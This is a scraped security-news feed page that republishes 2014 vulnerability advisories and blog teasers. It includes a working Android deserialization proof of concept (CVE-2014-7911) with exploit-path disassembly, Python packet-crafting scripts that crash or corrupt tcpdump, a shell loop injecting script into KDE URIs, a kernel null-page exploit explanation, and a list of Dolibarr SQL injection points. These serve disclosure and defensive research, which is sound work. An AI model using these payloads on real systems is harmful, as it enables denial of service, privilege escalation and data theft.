Quantcast
Channel: BOT24
Viewing all 8064 articles
Browse latest View live

CVE-2014-7911

$
0
0
In Android <5.0, java.io.ObjectInputStream did not check whether the Object that
is being deserialized is actually serializable. That issue was fixed in Android
5.0 with this commit:
<https://android.googlesource.com/platform/libcore/+/738c833d38d41f8f76eb7e77ab39add82b1ae1e2>

This means that when ObjectInputStream is used on untrusted inputs, an attacker
can cause an instance of any class with a non-private parameterless constructor
to be created. All fields of that instance can be set to arbitrary values. The
malicious object will then typically either be ignored or cast to a type to
which it doesn't fit, implying that no methods will be called on it and no data
from it will be used. However, when it is collected by the GC, the GC will call
the object's finalize method.

The android system_service runs under uid 1000 and can change into the context
of any app, install new applications with arbitrary permissions and so on. Apps
can talk to it using Intents with attached Bundles, Bundles are transferred as
arraymap Parcels and arraymap Parcels can contain serialized data. This means
that any app can attack the system_service this way.

The class android.os.BinderProxy contains a finalize method that calls into
native code. This native code will then use the values of two fields of type
int/long (depends on the Android version), cast them to pointers and follow
them. On Android 4.4.3, this is where one of those pointers ends up. r0
contains the attacker-supplied pointer, and if the attacker can insert data
into the process at a known address, he ends up gaining arbitrary code
execution in system_server:

    # attacker controls pointer in r0
0000d1c0 <android::RefBase::decStrong(void const*) const>:
    d1c0:       b570            push    {r4, r5, r6, lr}
    d1c2:       4605            mov     r5, r0
    d1c4:       6844            ldr     r4, [r0, #4]   # attacker controls r4
    d1c6:       460e            mov     r6, r1
    d1c8:       4620            mov     r0, r4
    d1ca:       f7fd e922       blx     a410 <android_atomic_dec@plt>
    d1ce:       2801            cmp     r0, #1
    d1d0:       d10b            bne.n   d1ea
<android::RefBase::decStrong(void const*) const+0x2a>
    d1d2:       68a0            ldr     r0, [r4, #8]   # attacker controls r0
    d1d4:       4631            mov     r1, r6
    d1d6:       6803            ldr     r3, [r0, #0]   # attacker controls r3
    d1d8:       68da            ldr     r2, [r3, #12]  # attacker controls r2
    d1da:       4790            blx     r2             # jump into attacker-controlled r2 pointer

Android does have ASLR, but like all apps, system_server is forked from the
zygote process - in other words, all apps have the same basic memory layout as
system_server and should therefore be able to circumvent system_server's ASLR.

Here's my crash PoC code. Put it in an android app, install that app, open it.
If nothing happens, the GC might be taking its time - try doing other stuff or
reopening the PoC app or so. Your device should do something like a reboot
after a few seconds.

===============================================================================
package net.thejh.badserial;

import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import dalvik.system.DexClassLoader;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log;

public class MainActivity extends Activity {
        private static final java.lang.String DESCRIPTOR = "android.os.IUserManager";
        private Class clStub;
        private Class clProxy;
        private int TRANSACTION_setApplicationRestrictions;
        private IBinder mRemote;

        public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException
        {
                android.os.Parcel _data = android.os.Parcel.obtain();
                android.os.Parcel _reply = android.os.Parcel.obtain();
                try {
                        _data.writeInterfaceToken(DESCRIPTOR);
                        _data.writeString(packageName);
                        _data.writeInt(1);
                        restrictions.writeToParcel(_data, 0);
                        _data.writeInt(userHandle);

                byte[] data = _data.marshall();
                for (int i=0; true; i++) {
                        if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
                                data[i] = 'a';
                                data[i+1] = 'n';
                                break;
                        }
                }
                _data.recycle();
                _data = Parcel.obtain();
                _data.unmarshall(data, 0, data.length);

                        mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
                        _reply.readException();
                }
                finally {
                        _reply.recycle();
                        _data.recycle();
                }
        }

        @Override
        public void onCreate(Bundle savedInstanceState) {
                super.onCreate(savedInstanceState);
                setContentView(R.layout.activity_main);

                Log.i("badserial", "starting... (v3)");

                Context ctx = getBaseContext();
                try {
                        Bundle b = new Bundle();
                        AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
                        b.putSerializable("eatthis", evilProxy);

                        Class clIUserManager = Class.forName("android.os.IUserManager");
                        Class[] umSubclasses = clIUserManager.getDeclaredClasses();
                        System.out.println(umSubclasses.length+" inner classes found");
                        Class clStub = null;
                        for (Class c: umSubclasses) {
                                System.out.println("inner class: "+c.getCanonicalName());
                                if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                                        clStub = c;
                                }
                        }

                        Field fTRANSACTION_setApplicationRestrictions =
                                        clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
                        fTRANSACTION_setApplicationRestrictions.setAccessible(true);
                        TRANSACTION_setApplicationRestrictions =
                                        fTRANSACTION_setApplicationRestrictions.getInt(null);

                        UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
                        Field fService = UserManager.class.getDeclaredField("mService");
                        fService.setAccessible(true);
                        Object proxy = fService.get(um);

                        Class[] stSubclasses = clStub.getDeclaredClasses();
                        System.out.println(stSubclasses.length+" inner classes found");
                        clProxy = null;
                        for (Class c: stSubclasses) {
                                System.out.println("inner class: "+c.getCanonicalName());
                                if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
                                        clProxy = c;
                                }
                        }

                        Field fRemote = clProxy.getDeclaredField("mRemote");
                        fRemote.setAccessible(true);
                        mRemote = (IBinder) fRemote.get(proxy);

                        UserHandle me = android.os.Process.myUserHandle();
                        setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());

                        Log.i("badserial", "waiting for boom here and over in the system service...");
                } catch (Exception e) {
                        throw new RuntimeException(e);
                }
        }
}
===============================================================================
package AAdroid.os;

import java.io.Serializable;

public class BinderProxy implements Serializable {
        private static final long serialVersionUID = 0;
        public long mObject = 0x1337beef;
        public long mOrgue = 0x1337beef;
}
===============================================================================


This is what you should see in the system log:

F/libc    (  382): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 391 (FinalizerDaemon)
[...]
I/DEBUG   (   47): pid: 382, tid: 391, name: FinalizerDaemon  >>> system_server <<<
I/DEBUG   (   47): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG   (   47):     r0 1337beef  r1 b6de7431  r2 b6ee035c  r3 81574845
I/DEBUG   (   47):     r4 b6de7431  r5 1337beef  r6 b7079ec8  r7 1337beef
I/DEBUG   (   47):     r8 1337beef  r9 abaf5f68  sl b7056678  fp a928bb04
I/DEBUG   (   47):     ip b6e1e8c8  sp a928bac8  lr b6de63d9  pc b6e6c15e  cpsr 60000030


Timeline:
22.06.2014 - 26.06.2014  issue reported, PoC shared,
                         issue verified by security@android.com
around 03.11.2014        patch published as part of the AOSP code release
07.11.2014 - 19.11.2014  asked Android team whether disclosing this is OK now,
                         got CVE number from them

RSS Reveals Malware Injections

$
0
0
There are multiple different ways to detect invisible malware on a website:

You can scrutinize the HTML code of web pages.
Use external scanners like SiteCheck or UnmaskParasites.
Get alerts from anti-viruses or search engines (both in search results and via their Webmaster Tools).
Try to open web pages with different User-Agents and check for changes.
Sometimes it is even helpful to open a page using a script blocker (the disabled scripts may hide spammy links injected into web pages).
It’s not a definitive list and sometimes we see some interesting ways that malware reveals itself. This time I’ll show how a fake WordPress plugin that was injecting invisible links to a porn site unmasked itself in via RSS feeds.

more here.........http://blog.sucuri.net/2014/11/rss-reveals-malware-injections.html

CVE-2014-2382 - Arbitrary Code Execution In Faronics Deep Freeze Standard and Enterprise

$
0
0
Vulnerability title: Arbitrary Code Execution In Faronics Deep Freeze Standard and Enterprise
CVE: CVE-2014-2382
Vendor: Faronics
Product: Deep Freeze Standard and Enterprise
Affected version: Before and including v8.10
Fixed version: N/A
Reported by: Kyriakos Economou
Details:

The latest, and earlier, versions of Deep Freeze Standard/Enterprise allow a local attacker to execute code with Kernel privileges, without the need of loading another kernel mode driver, by exploiting a vulnerability in the DfDiskLo.sys. Unsuccessful exploit attempts will lead to system crash. The vulnerability doesn't currently allow vertical privilege escalation since the driver by default only allows administrator accounts to perform an IOCTL request.

We have verified and successfully exploited this vulnerability in WinXP SP3 and Win 7 SP0, both 32-bit builds.

The bug is related with the way DfDiskLo.sys driver makes a call to IofCallDriver function without validating properly the parameters passed to it:

MOV ESI, DWORD [ECX+8] - ECX should point to a DEVICE_OBJECT structure, which at offset 0x08 has a pointer to a DRIVER_OBJECT structure
PUSH EDX
PUSH ECX
CALL DWORD [ESI+EAX*4+38] - here it calls the major function based on the IRP function code, the IRP function code is stored in EAX.

When we send the IOCTL request, ECX is zero instead of pointing to a DEVICE_OBJECT structure, that is why we have to allocate the NULL page before triggering the bug.

Once the NULL page is allocated, we can write whatever we want to address 0x08. ESI will then, instead of pointing to a legitimate DRIVER_OBJECT structure, point to an arbitrary memory location that we control.

Finally, EAX holds the IRP function code, in this case IRP_MJ_DEVICE_CONTROL (0x0E).

We can control the full mathematical expression [ESI+EAX*4+38] and as such we have full control over the EIP redirection.

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2382/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.



CVE-2014-8769 tcpdump unreliable output using malformed AOVD payload

$
0
0
CVE-2014-8769 tcpdump unreliable output using malformed AOVD payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (AOVD-based) can lead to an abnormal behaviour if verbose output of tcpdump monitoring the network is used.

3. Technical Description

The application decoder for the Ad hoc On-Demand Distance Vector (AODV) protocol fails to perform input validation and performs unsafe out-of-bound accesses. The application will usually not crash, but perform out-of-bounds accesses and output/leak larger amounts of invalid data, which might lead to dropped packets. It is unknown if other payload exists that might trigger segfaults.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide a possible segfault message on certain environments, see dmesg for details)

and use the following python program to generate a frame on the network (might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

aovd_frame = "\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x7a\xdf\x6f\x08\x00\x45\x00\xe6\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\x8e\x0d\x00\x4b\x00\x00\xe8\x12\x00\x00\x00\x00\x1f\xc6\x51\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\xe6\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01"

s.send(aovd_frame)

4. Affected versions

Affected versions are 3.8 through 4.6.2

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop (https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.

CVE-2014-8767 tcpdump denial of service in verbose mode using malformed OLSR payload

$
0
0
CVE-2014-8767 tcpdump denial of service in verbose mode using malformed OLSR payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (OLSR-based) can lead to an application crash (denial of service) if verbose output of tcpdump monitoring the network is used.

3. Technical Description

The application decoder for the OLSR protocol fails to perform external input validation and performs insufficient checking on length computations leading to an unsafe decrement and underflow in the function

olsr_print (const u_char *pptr, u_int length, int is_ipv6)

In this function msg_len is extracted from the input without sufficient checks and subtracted sizeof(struct olsr_msg4) which leads to an underflow of msg_tlen which is used to call olsr_print_neighbor() which will crash. In case DNS reverse lookup is enabled, this will also lead to a large amount of invalid DNS reverse lookups.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on certain environments, see dmesg for details)

and use the following python program to generate a frame on the network (might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

olsr_frame = "\x00\x1b\xc6\x51\x35\x97\x00\x24\x8c\x7a\xff\x6f\x08\x00\x45\x15\x00\x3d\xf3\x7f\x40\x00\x4d\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\xba\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x01\x00\x00\x00"

s.send(olsr_frame)

4. Affected versions

Affected versions are 3.9.6 through 4.6.2

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop (https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.

POWELIKS Levels Up With New Autostart Mechanism

$
0
0
Last August, we wrote about POWELIKS’s malware routines that are known for hiding its malicious codes in the registry entry as part of its evasion tactics.

In the newer samples we spotted, malware detected as TROJ_POWELIKS.B employed a new autostart mechanism and removes users’ privileges in viewing the registry’s content.

more here.........http://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-levels-up-with-new-autostart-mechanism/

CVE-2014-1767 Afd.sys double-free vulnerability Analysis and Exploit

$
0
0
First, I would like to present the reasons why I focus on this vulnerability, (1) This afd.sys dangling pointer vulnerability was named as the best privilege escalation vulnerability in pwnie awards 2014. (2) The vul type was double-free, It woulb be very interesting. (3) So far, there’s no exp codes exposed, so it’s challenging and exciting to finish one exploit.. OK, now let’s go to our work, our experiment OS is Windows 7(6.1.7601) 32 bit.

more here.....http://www.secniu.com/englishversioncve-2014-1767-afd-sys-double-free-vulnerability-analysis-and-exploit/

CVE-2014-8600 - Insufficient Input Validation By IO Slaves In KDE e.V. KDE

$
0
0
Vulnerability title: Insufficient Input Validation By IO Slaves In KDE e.V. KDE
CVE: CVE-2014-8600
Vendor: KDE e.V.
Product: KDE
Affected version: kwebkitpart <= 1.3.4, kde-runtime <= 4.14.3, kio-extras <= 5.1.1
Fixed version: Contact distribution vendor
Reported by: T. Brown and D. Burton
Details:

Whilst investigating how KDE handles custom protocols, it was discovered that a number of the protocol handlers (referred to as IO slaves) did not satisfactorily handle malicious input. It is possible for an attacker to inject JavaScript by manipulating IO slave URI such that the JavaScript from the manipulated request is returned in the response. Example IO slaves that trigger this behaviour include:

        zip
        trash
        tar
        thumbnail
        smtps
        smtp
        smb
        remote
        recentdocuments
        nntps
        nntp
        network
        mbox
        ldaps
        ldap
        fonts
        file
        desktop
        cgi
        bookmarks
        ar

The following code will trigger all vulnerable IO slaves:

for x in /usr/share/kde4/services/*.protocol do proto=`basename $x | cut -f 1 -d\.` kfmclient newTab "$proto://hhdhdhhdhdhdh.google.com/\"><script>alert(\"$proto\"+document.domain);</script>"
done

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-8600/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

CVE-2014-2630 - SetUID/SetGID Programs Allow Privilege Escalation Via Insecure RPATH in Compaq/Hewlett Packard Glance for Linux

$
0
0
Vulnerability title: SetUID/SetGID Programs Allow Privilege Escalation Via Insecure RPATH in Compaq/Hewlett Packard Glance for Linux
CVE: CVE-2014-2630
Vendor: Compaq/Hewlett Packard
Product: Glance for Linux
Affected version: 11.00 and subsequent
Fixed version: HPSBMU03086 rev.3
Reported by: Tim Brown

Details:

It has been identified that binaries that are executed with elevated privileges (SetGID and SetUID programs) in Compaq/HP's Glance for Linux have been compiled in manner that means they searched for libraries in insecure locations.

SUIDFILE='/opt/perf/bin/xglance-bin' SUIDFILELS='-r-sr-xr-x 1 root bin 1301384 Dec 7 2012 /opt/perf/bin/xglance-bin' RPATH='-L/lib64' RPATHRELATIVE=yes RPATHLS=N/A RAPTHEXISTS=N/A ISBAD=yes
SUIDFILE='/opt/perf/bin/xglance-bin' SUIDFILELS='-r-sr-xr-x 1 root bin 1301384 Dec 7 2012 /opt/perf/bin/xglance-bin' RPATH='-L/lib64' RPATHRELATIVE=yes RPATHLS=N/A RAPTHEXISTS=N/A ISBAD=yes

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

VMware: "It's not a vulnerability, mmkkkayyy"

$
0
0
During a recent review of the VMWare Workstation application, I discovered a method that allows any member of the __vmware__ group to extract arbitrary sections of kernel memory. When you consider the fact that members of this group are not required to already have administrative privileges, this suddenly becomes a significant vulnerability in the sense that it implies that otherwise unprivileged users now have the means to extract and subsequently use/abuse sensitive data like process-level tokens, encryption keys, etc. Needless to say, this poses a significant security risk to any organization that allows unprivileged users to operate virtual machines by way of the __vmware__ group.

more here.........https://blog.korelogic.com/blog/2014/11/18/vuln_analysis_vmx86

CVE-2014-7137 - Multiple SQL Injections in Dolibarr ERP & CRM

$
0
0
Vulnerability title: Multiple SQL Injections in Dolibarr ERP & CRM
CVE: CVE-2014-7137
Vendor: Dolibarr ERP & CRM
Product: Dolibarr ERP & CRM
Affected version: 3.5.3
Fixed version: 3.6.1
Reported by: Jerzy Kramarz

Details:

SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database.

The following URL and parameters have been confirmed to suffer from various forms of SQL injections:

http://[IP]/dolibarr/product/stock/fiche.php?action=edit&id=1<SQL Injection>
http://[IP]/dolibarr/product/stock/liste.php?sref=55<SQL Injection>&token=142abe4c1c4b84c3d0c81533c3840cc4&sall=55
http://[IP]/dolibarr/product/stock/liste.php?sref=555-555-0199@example.com&token=142abe4c1c4b84c3d0c81533c3840cc4&sall=55<SQL Injection>
http://[IP]/dolibarr/projet/element.php?ref=PJ1407<SQL Injection>
http://[IP]/dolibarr/projet/tasks/index.php?search_project=5<SQL Injection>bqve&button_search.x=1&button_search.y=1&mode=
http://[IP]/dolibarr/compta/prelevement/demandes.php?search_societe=5<SQL Injection>&search_facture=5&button_search.x=1&button_search.y=1
http://[IP]/dolibarr/comm/mailing/liste.php?sref=5<SQL Injection>&sall=5&x=1&y=1
http://[IP]/dolibarr/comm/mailing/liste.php?sref=5&sall=5<SQL Injection>&x=1&y=1
http://[IP]/dolibarr/compta/sociales/index.php?search_label=5<SQL Injection>&button_search.x=1&button_search.y=1
http://[IP]/dolibarr/compta/paiement/cheque/liste.php?sortfield=bc.number<SQL Injection>&sortorder=asc&begin=&
http://[IP]/dolibarr/compta/paiement/cheque/liste.php?sortfield=bc.number&sortorder=asc<SQL Injection>&begin=&
http://[IP]/dolibarr/compta/prelevement/rejets.php?sortfield=p.ref<SQL Injection>&sortorder=asc&begin=&
http://[IP]/dolibarr/compta/prelevement/rejets.php?sortfield=p.ref&sortorder=asc<SQL Injection>&begin=&
http://[IP]/dolibarr/product/liste.php?sortfield=p.ref&sortorder=asc&begin=&sref=&snom=&sall=&tosell=<SQL Injection>&tobuy=&type=&
http://[IP]/dolibarr/product/liste.php?sortfield=p.ref&sortorder=asc&begin=&sref=&snom=&sall=&tosell=&tobuy=<SQL Injection>&type=&
http://[IP]/dolibarr/product/reassort.php?toolowstock=on&snom=5&sortorder=ASC&sref=5&token=d638ca7f80a7ad68e2cf327a75f954a6&button_search.x=1&button_search.y=1&type=&search_categ=4<SQL Injection>&sortfield=stock_physique
http://[IP]/dolibarr/product/liste.php?sortfield=p.ref&sortorder=asc&begin=&sref=&snom=&sall=&tosell=1<SQL Injection>&tobuy=&type=&
http://[IP]/dolibarr/product/liste.php?sortfield=p.ref&sortorder=asc&begin=&sref=&snom=&sall=&tosell=1&tobuy=<SQL Injection>&type=&
http://[IP]/dolibarr/product/stats/commande_fournisseur.php?sortfield=c.rowid<SQL Injection>&sortorder=asc&begin=&id=2
http://[IP]/dolibarr/product/stats/commande_fournisseur.php?sortfield=c.rowid&sortorder=asc<SQL Injection>&begin=&id=2
http://[IP]/dolibarr/product/stats/contrat.php?sortfield=c.rowid<SQL Injection>&sortorder=asc&begin=&id=2
http://[IP]/dolibarr/product/stats/contrat.php?sortfield=c.rowid'&sortorder=asc<SQL Injection>&begin=&id=2
http://[IP]/dolibarr/product/stats/facture_fournisseur.php?sortfield=s.rowid<SQL Injection>&sortorder=asc&begin=&id=2
http://[IP]/dolibarr/product/stats/facture_fournisseur.php?sortfield=s.rowid&sortorder=asc<SQL Injection>&begin=&id=2
http://[IP]/dolibarr/product/stats/propal.php?sortfield=p.rowid<SQL Injection>&sortorder=asc&begin=&id=2
http://[IP]/dolibarr/product/stats/propal.php?sortfield=p.rowid&sortorder=asc<SQL Injection>&begin=&id=2
http://[IP]/dolibarr/product/stock/fiche.php?id=0<SQL Injection>
http://[IP]/dolibarr/product/stock/info.php?id=0<SQL Injection>
http://[IP]/dolibarr/product/stock/liste.phpsortfield=e.label&sortorder=asc<SQL Injection>&begin=&
http://[IP]/dolibarr/product/stock/liste.php?sortfield=e.label<SQL Injection>&sortorder=asc&begin=&
http://[IP]/dolibarr/product/reassort.php?toolowstock=on&snom=5&sortorder=ASC&sref=5<SQL Injection>&token=d638ca7f80a7ad68e2cf327a75f954a6&button_search.x=1&button_search.y=1&type=&search_categ=4&sortfield=stock_physique
http://[IP]/dolibarr/product/stock/massstockmove.php?productid=1<SQL Injection>&token=9d491e55462571d39390bd136f4f50da&id_tw=-1&action=addline&qty=5&id_sw=-1&addline=%D8%B1%D8%AA%D8%AE%D8%A7&search_productid=5
http://[IP]/dolibarr/product/stock/replenishorders.php?sortfield=cf.ref&sortorder=asc<SQL Injection>&begin=&
http://[IP]/dolibarr/product/stock/replenishorders.php?sortfield=cf.ref<SQL Injection>&sortorder=asc&begin=&
http://[IP]/dolibarr/projet/contact.php?id=1&action=deletecontact&lineid=21<SQL Injection>
http://[IP]/dolibarr/projet/contact.php?id=1&action=swapstatut&ligne=21<SQL Injection>
http://[IP]/dolibarr/projet/tasks/contact.php?id=1&action=swapstatut&ligne=21<SQL Injection>
http://[IP]/dolibarr/compta/recap-compta.php?socid=1<SQL Injection>
http://[IP]/dolibarr/holiday/index.php?mainmenu=holiday&id=1<SQL Injection>
http://[IP]/dolibarr/projet/tasks/contact.php?id=2&source=internal&token=acff06ed1720e3ec66a16918dcee2bfd&action=addcontact&type=181&contactid=2<SQL Injection>&withproject=1
http://[IP]/dolibarr/product/stock/fiche.php?id=1<SQL Injection>
http://[IP]/dolibarr/projet/contact.php?ref=PJ1407-0002<SQL Injection>
http://[IP]/dolibarr/projet/ganttview.php?ref=PJ1407-0002<SQL Injection>
http://[IP]/dolibarr/product/stock/fiche.php?id=1<SQL Injection>
http://[IP]/dolibarr/projet/note.php?ref=PJ1407-0002<SQL Injection>
http://[IP]/dolibarr/projet/tasks/contact.php?project_ref=PJ1407-0002<SQL Injection>&withproject=1
http://[IP]/dolibarr/projet/tasks.php?ref=PJ1407-0002<SQL Injection>&mode=mine
http://[IP]/dolibarr/projet/tasks/note.php?project_ref=PJ1407-0002<SQL Injection>&withproject=1
http://[IP]/dolibarr/contact/info.php?id=2<SQL Injection>&optioncss=print
http://[IP]/dolibarr/societe/commerciaux.php?socid=117260852<SQL Injection>&optioncss=print
http://[IP]/dolibarr/compta/dons/liste.php?statut=2<SQL Injection>
http://[IP]/dolibarr/societe/rib.php?socid=1<SQL Injection>&optioncss=print
http://[IP]/dolibarr/adherents/liste.php?leftmenu=members&statut=1<SQL Injection>&filter=outofdate&idmenu=9431&mainmenu=members
http://[IP]/dolibarr/product/reassort.php?sortfield=p.ref&sortorder=asc&begin=&tosell=43<SQL Injection>&tobuy=&type=0&fourn_id=&snom=&sref=&
http://[IP]/dolibarr/product/reassort.php?sortfield=p.ref&sortorder=asc&begin=&tosell=&tobuy=3<SQL Injection>&type=0&fourn_id=&snom=&sref=&
http://[IP]/dolhttp://[IP]/dolibarr/product/index.php?leftmenu=product&type=0<SQL Injection>&idmenu=2819&mainmenu=products
http://[IP]/dolibarr/product/stats/facture.php?sortfield=s.rowid<SQL Injection>&sortorder=asc&begin=&id=2
http://[IP]/dolibarr/product/stats/facture.php?sortfield=s.rowid&sortorder=asc<SQL Injection>&begin=&id=2
http://[IP]/dolibarr/user/index.php?sortfield=u.login&sortorder=asc&begin=search_user=&sall=&search_statut=<SQL Injection>&
http://[IP]/dolibarr/compta/bank/fiche.php?id=<SQL Injection>
http://[IP]/dolibarr/compta/prelevement/liste.php?search_code=5<SQL Injection>&search_societe=5&search_ligne=5&search_bon=5&button_search.x=1&button_search.y=1
http://[IP]/dolibarr/compta/prelevement/liste.php?search_code=5&search_societe=5<SQL Injection>&search_ligne=5&search_bon=5&button_search.x=1&button_search.y=1
http://[IP]/dolibarr/compta/prelevement/liste.php?search_code=5&search_societe=5&search_ligne=5<SQL Injection>&search_bon=5&button_search.x=1&button_search.y=1
http://[IP]/dolibarr/compta/prelevement/liste.php?search_code=5&search_societe=5&search_ligne=5&search_bon=5<SQL Injection>&button_search.x=1&button_search.y=1
http://[IP]/dolibarr/compta/prelevement/bons.php?sortfield=p.ref&sortorder=asc<SQL Injection>&begin=&
http://[IP]/dolibarr/compta/prelevement/bons.php?sortfield=p.ref<SQL Injection>&sortorder=asc&begin=&
http://[IP]/dolibarr/product/stats/commande.php?sortfield=c.rowid&sortorder=asc<SQL Injection>&begin=&id=2
http://[IP]/dolibarr/product/stats/commande.php?sortfield=c.rowid<SQL Injection>&sortorder=asc&begin=&id=2

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7137/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

How MS14-066 (CVE-2014-6321) is More Serious Than First Thought

$
0
0
If you've been in a coma for the past week, MS14-066 (CVE-2014-6321) is a TLS heap overflow vulnerability in Microsoft's schannel.dll, which can result in denial of service and even remote code execution on windows systems (the bug is exploitable during the TLS handshake stage, prior to any authentication).

more here........http://www.malwaretech.com/2014/11/how-ms14-066-winshock-is-worse-than.html

ROVNIX Infects Systems with Password-Protected Macros

$
0
0
We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.

Though a fairly old method for infection, cybercriminals realized that using malicious macros work just fine–even against sophisticated defense measures.

more here.........http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

A Peek Inside a PoS Scammer’s Toolbox

$
0
0
PoS malware has been receiving a tremendous amount of attention in the past two years with high profile incidents like Target, Home Depot, and Kmart. With the massive “Black Friday” shopping season coming up, PoS malware will surely get additional publicity. This high profile nature means, we constantly look for evolving PoS malware and look into their behavior patterns to better protect our customers and users.

more here..........http://blog.trendmicro.com/trendlabs-security-intelligence/a-peek-inside-a-pos-scammers-toolbox/

Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3

$
0
0
A use after free bug is when an application uses memory (usually on the heep) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference.
This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs.

more here...........http://webstersprodigy.net/2014/11/19/use-after-free-exploits-for-humans-part-1-exploiting-ms13-080-on-ie8-winxpsp3/

CVE-2014-8440 (Flash up to 15.0.0.189) and Exploit Kits

$
0
0
Once again that's fast. Nine day (or less?) after patch

more here......http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html

